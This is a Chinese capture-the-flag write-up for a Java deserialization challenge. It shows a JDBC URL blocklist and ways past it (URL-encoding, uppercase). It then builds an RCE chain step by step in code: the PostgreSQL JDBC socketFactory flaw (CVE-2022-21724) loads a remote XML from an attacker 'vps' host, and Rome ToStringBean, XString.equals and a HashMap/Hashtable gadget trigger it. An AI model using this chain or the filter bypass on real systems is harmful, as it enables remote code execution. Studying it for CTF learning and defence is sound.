主要是记录一下,另外还有 CodeQL

题目给了一个 jdbc 连接,总所周知,jdbc 连接 mysql 数据库是会有危险的,而这道题目里面尝试着把 mysql 连接的两个风险点给禁用掉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.example.ezjaba.security;

/* loaded from: ezjaba.jar:BOOT-INF/classes/com/example/ezjaba/security/JdbcUtils.class */
public class JdbcUtils {
private static final String JDBC_MYSQL_PROTOCOL = "jdbc:mysql";
private static final String SENSITIVE_PARAM = "autoDeserialize=true"; // 禁用反序列化
private static final String FILE_READ = "allowLoadLocalInfile=true"; // 禁用文件读取

public static void filterJdbcUrl(String url) throws Exception {
if (url.startsWith(JDBC_MYSQL_PROTOCOL)) {
if (url.contains(SENSITIVE_PARAM) || url.contains(FILE_READ)) {
throw new Exception("那就这样吧,再连接就不太礼貌了");
}
}
}
}

但是这题有一位大佬的 wp 写着 url 编码就可以绕过对参数的检测

jdbc:mysqlurlencode 绕过就行了。autoDeserialize=trueallowLoadLocalInfile=true 直接大写就可以绕过了

而我比赛的时候找的是另一个利用,即 postgresql 此版本的漏洞,可以直接 RCE,参考: PostgreSQL JDBC Driver RCE&任意文件写入漏洞【CVE-2022-21724】

1
2
3
4
5
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>

然后写了这段代码,经过测试发现可以成功 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) {
// ToStringBean

Database database = new Database();
database.setDatabase("postgresql");
database.setHots("localhost");
database.setUsername("root");

String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://vps:5432/1.xml";
database.setPassword("root&socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg);

database.getConnection();
}

接下来的问题是如何反序列化调用 database.getConnection(),我们的目光可以转到依赖包 Rome:1.7.0 上面,没有禁用 ToStringBean,可以用!

1
2
3
4
5
6
7
8
9
10
11
12
Database database = new Database();
database.setDatabase("postgresql");
database.setHots("localhost");
database.setUsername("root");

String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://vps:5432/1.xml";

database.setPassword("root&socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg);

ToStringBean toStringBean = new ToStringBean(database.getClass(),database);
toStringBean.toString();

之后的问题是,找到反序列化时调用任意类 toString 的点,这里使用 CodeQL 来进行检索

经过检索,发现了一个类 XString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// XString
public boolean equals(Object obj2)
{

if (null == obj2)
return false;

// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}

再测试一下,照样能够 RCE

1
2
3
4
ToStringBean toStringBean = new ToStringBean(database.getClass(),database);

XString xString = new XString("L1n");
xString.equals(toStringBean);

问题是如何调用到 equals,其实这个点在 CC 里面有过,但是学艺不精,比赛的时候没有成功利用出来,还是得向其他师傅学习学习,使用一个 HashMap 或者 HashTable 就好了

总结了一篇新文章,可以作为参考: 理解 Java 反序列化 HashMap HashTable HashSet 调用 equals

1
2
3
4
5
6
7
8
9
10
11
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", xString);
map1.put("zZ", toStringBean);
map2.put("zZ", xString);
map2.put("yy", toStringBean);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
serialize(table);
unserialize("ser.bin");